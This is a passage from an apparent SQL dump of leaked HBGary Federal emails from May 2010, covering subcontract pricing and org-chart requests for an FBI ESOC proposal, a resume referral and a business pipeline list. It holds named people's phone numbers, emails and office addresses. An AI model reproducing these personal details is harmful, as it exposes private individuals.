720-836-4208\r\n',8536,'aaron_hbgary_com/8536.html'),(6657,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004810.M987773P14101Q1512.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal Pricing Template','Kimberly,\r\n\r\nPlease find all the required documents from HBGary Federal.  I apologize for their delay.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn May 24, 2010, at 5:30 PM, Hoagland, Kimberly A. wrote:\r\n\r\n> Aaron/Ted,\r\n>  \r\n> Upon review, the rate cannot exceed $125 and this is the result of us moving you into the highest LCAT proposed in the class you will be supporting.\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n>  \r\n> \r\n> From: Aaron Barr \r\n> Date: May 24, 2010 10:09:08 AM EDT\r\n> To: \"Hoagland, Kimberly A.\" \r\n> Cc: \"Harlow, Douglas M.\" , Ted Vera \r\n> Subject: Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort\r\n> \r\n> \r\n> Kim,\r\n> \r\n> Let me or Ted know if you have any questions or comments on our pricing.  We would prefer to staff the more senior person but have included rates for a lower person to provide you flexibility in final pricing.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> \r\n> On May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:\r\n> \r\n>> Good morning,\r\n>>  \r\n>> As part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24. \r\n>>  \r\n>>  \r\n>> Thank you, \r\n>>  \r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts \r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>  \r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>  \r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>  \r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>>  \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> From: Aaron Barr \r\n> Date: May 24, 2010 10:12:22 AM EDT\r\n> To: \"Hoagland, Kimberly A.\" \r\n> Subject: Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort\r\n> \r\n> \r\n> sorry missed one.\r\n> \r\n> \r\n> \r\n> Aaron\r\n> \r\n> On May 23, 2010, at 8:54 AM, Hoagland, Kimberly A. wrote:\r\n> \r\n>> Good morning,\r\n>>  \r\n>> As part of your RFP package, please review, complete and return the attached pricing template no later than Noon, Monday, May 24. \r\n>>  \r\n>>  \r\n>> Thank you, \r\n>>  \r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts \r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>  \r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>  \r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>  \r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>>  \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11316,'aaron_hbgary_com/11316.html'),(6658,'2010-05-25','\"Yu, Jeffrey C (IS)\" <Jeff.Yu@ngc.com>','/aaron@hbgary.com/new/1297004811.M351540P14101Q1513.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Talent','Aaron,\r\n \r\n Good to hear from you - -I hope all is well.\r\n\r\n I passed the resume of David along to a few folks -- he has an interesting\r\nmix of experience.\r\n\r\n It would be good to sync up some time -- I have been bad about building\r\nslack into my visit plans when I travel, but I\'ll see what I can do. \r\n\r\nThanks,\r\n\r\nJeff\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 24, 2010 7:04 AM\r\nTo: Warden, Kathy J (IS); Yu, Jeffrey C (IS)\r\nSubject: Cyber Talent\r\n\r\nHi Kathy/Jeff,\r\n\r\nI hope all is well.  Kathy, if you are attending any of the ExecutiveBiz\r\nfunctions next month I look forward to catching up.  Jeff, I would like to\r\ncatch up some time when your in town.\r\n\r\nAttached is the resume for David Etue.  I have come to know him over the\r\nlast six months as his company, Fidelis, partners with HBGary to deliver\r\nbetter host and perimeter security solutions.\r\n\r\nAfter working for a number of years helping Fidelis build a successful\r\ncompany and product line, he is ready for a change.  He would like to work\r\nfor one of the larger integrators for the experience and exposure they can\r\noffer.  He is very talented, driven, and knowledgeable.  I highly recommend\r\nhim for either of your organizations.\r\n\r\n',15845,'aaron_hbgary_com/15845.html'),(6659,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004811.M560281P14101Q1514.eml','\"Yu, Jeffrey C (IS)\" <Jeff.Yu@ngc.com>','Re: Cyber Talent','Still catching up on email late at night. :)\r\n\r\nThanks.  There is a current of small business talent I have come to\r\nknow these last six months, Dave is among the best of them.\r\n\r\nSend me a note when you have some time crop up.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 25, 2010, at 1:34 AM, \"Yu, Jeffrey C (IS)\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Good to hear from you - -I hope all is well.\r\n>\r\n> I passed the resume of David along to a few folks -- he has an interesting\r\n> mix of experience.\r\n>\r\n> It would be good to sync up some time -- I have been bad about building\r\n> slack into my visit plans when I travel, but I\'ll see what I can do.\r\n>\r\n> Thanks,\r\n>\r\n> Jeff\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, May 24, 2010 7:04 AM\r\n> To: Warden, Kathy J (IS); Yu, Jeffrey C (IS)\r\n> Subject: Cyber Talent\r\n>\r\n> Hi Kathy/Jeff,\r\n>\r\n> I hope all is well.  Kathy, if you are attending any of the ExecutiveBiz\r\n> functions next month I look forward to catching up.  Jeff, I would like to\r\n> catch up some time when your in town.\r\n>\r\n> Attached is the resume for David Etue.  I have come to know him over the\r\n> last six months as his company, Fidelis, partners with HBGary to deliver\r\n> better host and perimeter security solutions.\r\n>\r\n> After working for a number of years helping Fidelis build a successful\r\n> company and product line, he is ready for a change.  He would like to work\r\n> for one of the larger integrators for the experience and exposure they can\r\n> offer.  He is very talented, driven, and knowledgeable.  I highly recommend\r\n> him for either of your organizations.\r\n>\r\n',1282,'aaron_hbgary_com/1282.html'),(6660,'2010-05-25','\"Yu, Jeffrey C (IS)\" <Jeff.Yu@ngc.com>','/aaron@hbgary.com/new/1297004811.M842312P14101Q1515.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Talent','Of course you have an iPad!\r\n\r\nI\'m waiting for the Android version.  :-)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 24, 2010 10:43 PM\r\nTo: Yu, Jeffrey C (IS)\r\nSubject: Re: Cyber Talent\r\n\r\nStill catching up on email late at night. :)\r\n\r\nThanks.  There is a current of small business talent I have come to\r\nknow these last six months, Dave is among the best of them.\r\n\r\nSend me a note when you have some time crop up.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 25, 2010, at 1:34 AM, \"Yu, Jeffrey C (IS)\" \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> Good to hear from you - -I hope all is well.\r\n>\r\n> I passed the resume of David along to a few folks -- he has an\r\ninteresting\r\n> mix of experience.\r\n>\r\n> It would be good to sync up some time -- I have been bad about\r\nbuilding\r\n> slack into my visit plans when I travel, but I\'ll see what I can do.\r\n>\r\n> Thanks,\r\n>\r\n> Jeff\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, May 24, 2010 7:04 AM\r\n> To: Warden, Kathy J (IS); Yu, Jeffrey C (IS)\r\n> Subject: Cyber Talent\r\n>\r\n> Hi Kathy/Jeff,\r\n>\r\n> I hope all is well.  Kathy, if you are attending any of the\r\nExecutiveBiz\r\n> functions next month I look forward to catching up.  Jeff, I would\r\nlike to\r\n> catch up some time when your in town.\r\n>\r\n> Attached is the resume for David Etue.  I have come to know him over\r\nthe\r\n> last six months as his company, Fidelis, partners with HBGary to\r\ndeliver\r\n> better host and perimeter security solutions.\r\n>\r\n> After working for a number of years helping Fidelis build a successful\r\n> company and product line, he is ready for a change.  He would like to\r\nwork\r\n> for one of the larger integrators for the experience and exposure they\r\ncan\r\n> offer.  He is very talented, driven, and knowledgeable.  I highly\r\nrecommend\r\n> him for either of your organizations.\r\n>\r\n',3260,'aaron_hbgary_com/3260.html'),(6661,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004812.M302752P14101Q1516.eml','\"Ted Vera\" <tedvera@me.com>','2am','I am wide awake.  Thinking of work, or lack of it.\r\n\r\nok so just going to ramble for a bit.  Pipeline.  Sometimes rambling helps me organize my thoughts.\r\n\r\nCDC - any update?\r\nARSTRAT Media - when is it?  can u send me a link?\r\nNANA - I got name and number of PM today, will craft an email tonight.\r\nFBI ESOC - July. 1 person.\r\nCOIN - Fall.\r\n90th - anything else to re-address with Jose and company, lawrence next week?\r\nTASC - once we have an active defense we can bring it in to DESL?\r\nMantech - need to schedule a AD demo and talk with Eric, Alex Malware guy.\r\nCTSC/VISE - next summer.\r\nUSCERT - SAIC wants to partner, so does GD.  Next summer.\r\nRay Owen - development work for host discovery.\r\nProject B -\r\nProject I/P -\r\n\r\nwhat did I miss?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10490,'aaron_hbgary_com/10490.html'),(6662,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004812.M628211P14101Q1517.eml','\"Nicole Kaboli\" <nicole@executivebiz.com>','Re: ExecutiveBiz Dinner (Group 11)','Nicole,I show it on my calendar as having accepted the meeting invitation, but it may have been hung up in transit. &nbsp;I will be there.Thank You,AaronOn May 24, 2010, at 8:36 AM, Nicole Kaboli wrote:&nbsp;Dear 4x24 Member,&nbsp;While looking over the calendar invitations for the dinner on Tuesday, June 15th I noticed that you have not yet responded to the electronic invitation that we sent you.&nbsp; We just want to make sure that it is on your calendar and that you will be attending.&nbsp; &nbsp;&nbsp;Looking forward to your response,&nbsp;&nbsp;&nbsp;Nicole KaboliExecutiveBiz and Executive Mosaic8230 Old Courthouse Road, Suite 460Vienna,&nbsp;VA&nbsp;22182Phone: 703-226-7006Fax: 703-752-7454&nbsp;P&nbsp;Please consider the environment before printing this email.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',590,'aaron_hbgary_com/590.html'),(6663,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004812.M968990P14101Q1518.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Talent','Begin forwarded message:From: \"Yu, Jeffrey C (IS)\" &lt;Jeff.Yu@ngc.com&gt;Date: May 25, 2010 1:44:46 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Cyber TalentOf course you have an iPad!I\'m waiting for the Android version. &nbsp;:-)-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, May 24, 2010 10:43 PMTo: Yu, Jeffrey C (IS)Subject: Re: Cyber TalentStill catching up on email late at night. :)Thanks. &nbsp;There is a current of small business talent I have come toknow these last six months, Dave is among the best of them.Send me a note when you have some time crop up.AaronSent from my iPadOn May 25, 2010, at 1:34 AM, \"Yu, Jeffrey C (IS)\" &lt;Jeff.Yu@ngc.com&gt;wrote:Aaron,Good to hear from you - -I hope all is well.I passed the resume of David along to a few folks -- he has aninterestingmix of experience.It would be good to sync up some time -- I have been bad aboutbuildingslack into my visit plans when I travel, but I\'ll see what I can do.Thanks,Jeff-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, May 24, 2010 7:04 AMTo: Warden, Kathy J (IS); Yu, Jeffrey C (IS)Subject: Cyber TalentHi Kathy/Jeff,I hope all is well. &nbsp;Kathy, if you are attending any of theExecutiveBizfunctions next month I look forward to catching up. &nbsp;Jeff, I wouldlike tocatch up some time when your in town.Attached is the resume for David Etue. &nbsp;I have come to know him overthelast six months as his company, Fidelis, partners with HBGary todeliverbetter host and perimeter security solutions.After working for a number of years helping Fidelis build a successfulcompany and product line, he is ready for a change. &nbsp;He would like toworkfor one of the larger integrators for the experience and exposure theycanoffer. &nbsp;He is very talented, driven, and knowledgeable. &nbsp;I highlyrecommendhim for either of your organizations.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1230,'aaron_hbgary_com/1230.html'),(6664,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004813.M183967P14101Q1519.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Talent','Short and to the point.Begin forwarded message:From: \"Warden, Kathy J (IS)\" &lt;Kathy.Warden@ngc.com&gt;Date: May 24, 2010 7:04:25 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Cyber Talent\r\n\r\n\r\nAaron,\r\n\r\nThanks for the resume. I am sure I will catch up with you at one of the upcoming events.\r\n\r\nKathy\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Warden, Kathy J (IS); Yu, Jeffrey C (IS)\r\nSent: Mon May 24 09:03:48 2010\r\nSubject: Cyber Talent\r\n\r\nHi Kathy/Jeff,\r\n\r\nI hope all is well.&nbsp; Kathy, if you are attending any of the ExecutiveBiz functions next month I look forward to catching up.&nbsp; Jeff, I would like to catch up some time when your in town.\r\n\r\nAttached is the resume for David Etue.&nbsp; I have come to know him over the last six months as his company, Fidelis, partners with HBGary to deliver better host and perimeter security solutions.\r\n\r\nAfter working for a number of years helping Fidelis build a successful company and product line, he is ready for a change.&nbsp; He would like to work for one of the larger integrators for the experience and exposure they can offer.&nbsp; He is very talented, driven, and knowledgeable.&nbsp; I highly recommend him for either of your organizations.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1583,'aaron_hbgary_com/1583.html'),(6665,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004814.M275079P14101Q1520.eml','\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Ken Mendelson\" <KMendelson@StrozFriedberg.com>,\"Bill Lillard\" <blillard@emesec.net>,glkoogle@emesec.net,nrwhite@emesec.net,mchorton@emesec.net,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Michnick, Lindsay\" <lmichnick@sms.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Ken Mendelson\" <KMendelson@StrozFriedberg.com>,\"Bill Lillard\" <blillard@emesec.net>,glkoogle@emesec.net,nrwhite@emesec.net,mchorton@emesec.net,\"Metzler, Jay\" <Jmetzler@sms.com>','RE: FBI ESOC - org charts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n&nbsp;\r\nLooks like some of the org charts aren&#8217;t acceptable the way they were sent back to me.&nbsp; I apologize if I wasn&#8217;t clear on our requirements.&nbsp; Perhaps the details listed below will help.&nbsp; I need these back the correct way ASAP this morning.\r\n&nbsp;\r\n&nbsp;\r\n*Fonts in org chart should be 10 Point &#8211; Arial Narrow Bold\r\n*Org Charts need to be sent back to me in Powerpoint or Visio native format.&nbsp; NOT PDF\r\n&nbsp;\r\n&nbsp;\r\nPlease send 2 separates org charts:\r\n&nbsp;\r\n\r\n\r\nA corporate org chart showing:\r\n\r\n\r\n\r\nCEOThree or four direct reports with the box into which this effort reports colored blue the others whiteIf the CEO has more than three or four direct reports, cut off the remainder in the org chart with a double squiggly line\r\n\r\n\r\n\r\nA functional area org chart showing:\r\n\r\n\r\n\r\nThe Vice PresidentThree or four direct reports with the box into which this effort reports colored blue the others whiteShow the program manager responsible for this effort reporting to the VP and color his box blue\r\n\r\n&nbsp;\r\n&nbsp;\r\nHere are our (GDAIS) Org Charts as an example again.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n \r\n&nbsp;\r\n&nbsp;\r\nFigure 1 shows the high level organizational structure of General Dynamics Information Systems and Technology (IS&amp;T) including its affiliated companies: GD C4 Systems, GD Information Technology and GD Advanced\r\nInformation Systems (GDAIS). This effort will be executed in the GDAIS company. The organization within GDAIS that is performing on this contract is the Cyber Systems Division (Cyber). \r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n \r\n&nbsp;\r\nFigure 2 displays the organizational structure of the Cyber Systems Division. The Enterprise Missions Operations (LOB) will have oversight and management of the Information Assurance Section (IAS) Enterprise\r\nSecurity Operations center (ESOC) Support Services project.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Hoagland, Kimberly A. \r\n\r\nSent: Monday, May 24, 2010 12:15 PM\r\n\r\nTo: \'John Reed Stark\'; \'Ken Mendelson\'; \'Bill Lillard\'; \'glkoogle@emesec.net\'; \'nrwhite@emesec.net\'; \'mchorton@emesec.net\'; \'Metzler, Jay\'; \'Michnick, Lindsay\'; \'Barr Aaron\'; \'Ted Vera\'\r\n\r\nCc: Lemke, Michelle R.; Varga, Joan A.; Saxty, Lori J.; Joseph, Carol M.; Green, Rosemary; Mondloch, Carrie H.; Burns, Destiny R.\r\n\r\nSubject: FW: FBI ESOC - org charts\r\n\r\nImportance: High\r\n&nbsp;\r\n&nbsp;\r\nGood afternoon!\r\n&nbsp;\r\nPlease provide to us your Organizational Charts ASAP as requested with the following template as your guide on how it should be formatted.&nbsp; Any questions, let me know.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Green, Rosemary \r\n\r\nSent: Saturday, May 22, 2010 9:46 AM\r\n\r\nSubject: FBI ESOC - org charts\r\n&nbsp;\r\n&nbsp;\r\nThis is what our org charts look like in the OCI volume. Graphics must be no smaller than 10 pt. font, per the recent answers to questions.\r\n&nbsp;\r\n\r\n\r\nOrganizational Structure\r\n\r\nFigure 1 shows the high level organizational structure of General Dynamics Information Systems and Technology (IS&amp;T) including its affiliated companies: GD C4\r\nSystems, GD Information Technology and GD Advanced Information Systems (GDAIS). This effort will be executed in the GDAIS company. The organization within GDAIS that is performing on this contract is the Cyber Systems Division (Cyber). \r\n &lt;&lt; OLE Object: Picture (Device Independent Bitmap) &gt;&gt; \r\nFigure 1. General Dynamics Advanced Information Systems Organization Structure\r\n&nbsp;\r\nFigure 2 displays the organizational structure of the Cyber Systems Division. The Enterprise Missions Operations (LOB) will have oversight and management of\r\nthe Information Assurance Section (IAS) Enterprise Security Operations center (ESOC) Support Services project.\r\n &lt;&lt; OLE Object: Picture (Device Independent Bitmap) &gt;&gt; \r\nFigure 2. Division Structure of the Cyber Systems Division\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',3878,'aaron_hbgary_com/3878.html'),(6666,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004814.M610804P14101Q1521.eml','\"Petrauskas, Karen J.\" <karen.petrauskas@gd-ais.com>','Re: FBI ESOC','No we do not yet have an FCL.  You can verify our cage code here:\r\n\r\nhttps://www.bpn.gov/CCRSearch/detail.aspx?VAR_DUN1=832950831&VAR_DUN2=\r\n\r\nTed\r\n\r\nOn Tue, May 25, 2010 at 6:47 AM, Petrauskas, Karen J.\r\n wrote:\r\n> Ted,\r\n>        I just tried looking up your Cage Code in ISFD but it states \"5U1U6 does not exist\".  Do you have a final FCL?  Thanks\r\n>\r\n> Karen J. Petrauskas\r\n> Director, Program Security East\r\n> 703-251-7513 (w)\r\n> 703-216-7017 (bb)\r\n> 1-800-200-4798 (pager)\r\n>\r\n> GDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-105.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, May 24, 2010 6:48 PM\r\n> To: Petrauskas, Karen J.\r\n> Subject: Re: FBI ESOC\r\n>\r\n> Hi Karen, our cage code is:  5U1U6\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Mon, May 24, 2010 at 1:17 PM, Petrauskas, Karen J.\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>>         I\'m working on the GDAIS FBI ESOC proposal and need to know you Cage\r\n>> Code.  Thanks\r\n>>\r\n>> Karen J. Petrauskas\r\n>> Director, Program Security East\r\n>>\r\n>> 703-251-7513 (w)\r\n>>\r\n>> 703-216-7017 (bb)\r\n>> 1-800-200-4798 (pager)\r\n>>\r\n>> GDAIS PRIVATE: The information attached or contained within includes\r\n>> Personal Information under General Dynamics policy CP 07-105.  This\r\n>> information can be accessed only by authorized personnel of General Dynamics\r\n>> and its approved service providers and may be used only as permitted by\r\n>> General Dynamics and its policies. Contractual restrictions apply to third\r\n>> parties.\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1756,'aaron_hbgary_com/1756.html'),(6667,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004816.M321177P14101Q1522.eml','\"Ted Vera\" <ted@hbgary.com>','org chart','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3422,'aaron_hbgary_com/3422.html'),(6668,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004817.M865027P14101Q1523.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: FBI ESOC - org charts','Kimberly,\r\n\r\nOrg Chart attached.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn May 25, 2010, at 7:04 AM, Hoagland, Kimberly A. wrote:\r\n\r\n> Good morning,\r\n>  \r\n> Looks like some of the org charts aren’t acceptable the way they were sent back to me.  I apologize if I wasn’t clear on our requirements.  Perhaps the details listed below will help.  I need these back the correct way ASAP this morning.\r\n>  \r\n>  \r\n> *Fonts in org chart should be 10 Point – Arial Narrow Bold\r\n> *Org Charts need to be sent back to me in Powerpoint or Visio native format.  NOT PDF\r\n>  \r\n>  \r\n> Please send 2 separates org charts:\r\n>  \r\n> A corporate org chart showing:\r\n> CEO\r\n> Three or four direct reports with the box into which this effort reports colored blue the others white\r\n> If the CEO has more than three or four direct reports, cut off the remainder in the org chart with a double squiggly line\r\n> A functional area org chart showing:\r\n> The Vice President\r\n> Three or four direct reports with the box into which this effort reports colored blue the others white\r\n> Show the program manager responsible for this effort reporting to the VP and color his box blue\r\n>  \r\n>  \r\n> Here are our (GDAIS) Org Charts as an example again.\r\n>  \r\n>  \r\n>  \r\n> \r\n>  \r\n>  \r\n> Figure 1 shows the high level organizational structure of General Dynamics Information Systems and Technology (IS&T) including its affiliated companies: GD C4 Systems, GD Information Technology and GD Advanced Information Systems (GDAIS). This effort will be executed in the GDAIS company. The organization within GDAIS that is performing on this contract is the Cyber Systems Division (Cyber).\r\n>  \r\n>  \r\n>  \r\n> \r\n>  \r\n> Figure 2 displays the organizational structure of the Cyber Systems Division. The Enterprise Missions Operations (LOB) will have oversight and management of the Information Assurance Section (IAS) Enterprise Security Operations center (ESOC) Support Services project.\r\n>  \r\n>  \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n>  \r\n> _____________________________________________\r\n> From: Hoagland, Kimberly A. \r\n> Sent: Monday, May 24, 2010 12:15 PM\r\n> To: \'John Reed Stark\'; \'Ken Mendelson\'; \'Bill Lillard\'; \'glkoogle@emesec.net\'; \'nrwhite@emesec.net\'; \'mchorton@emesec.net\'; \'Metzler, Jay\'; \'Michnick, Lindsay\'; \'Barr Aaron\'; \'Ted Vera\'\r\n> Cc: Lemke, Michelle R.; Varga, Joan A.; Saxty, Lori J.; Joseph, Carol M.; Green, Rosemary; Mondloch, Carrie H.; Burns, Destiny R.\r\n> Subject: FW: FBI ESOC - org charts\r\n> Importance: High\r\n>  \r\n>  \r\n> Good afternoon!\r\n>  \r\n> Please provide to us your Organizational Charts ASAP as requested with the following template as your guide on how it should be formatted.  Any questions, let me know.\r\n>  \r\n>  \r\n>  \r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts \r\n> General Dynamics Advanced Information Systems, Inc.\r\n>  \r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>  \r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>  \r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>  \r\n>  \r\n> _____________________________________________\r\n> From: Green, Rosemary \r\n> Sent: Saturday, May 22, 2010 9:46 AM\r\n> Subject: FBI ESOC - org charts\r\n>  \r\n>  \r\n> This is what our org charts look like in the OCI volume. Graphics must be no smaller than 10 pt. font, per the recent answers to questions.\r\n>  \r\n> ORGANIZATIONAL STRUCTURE\r\n> Figure 1 shows the high level organizational structure of General Dynamics Information Systems and Technology 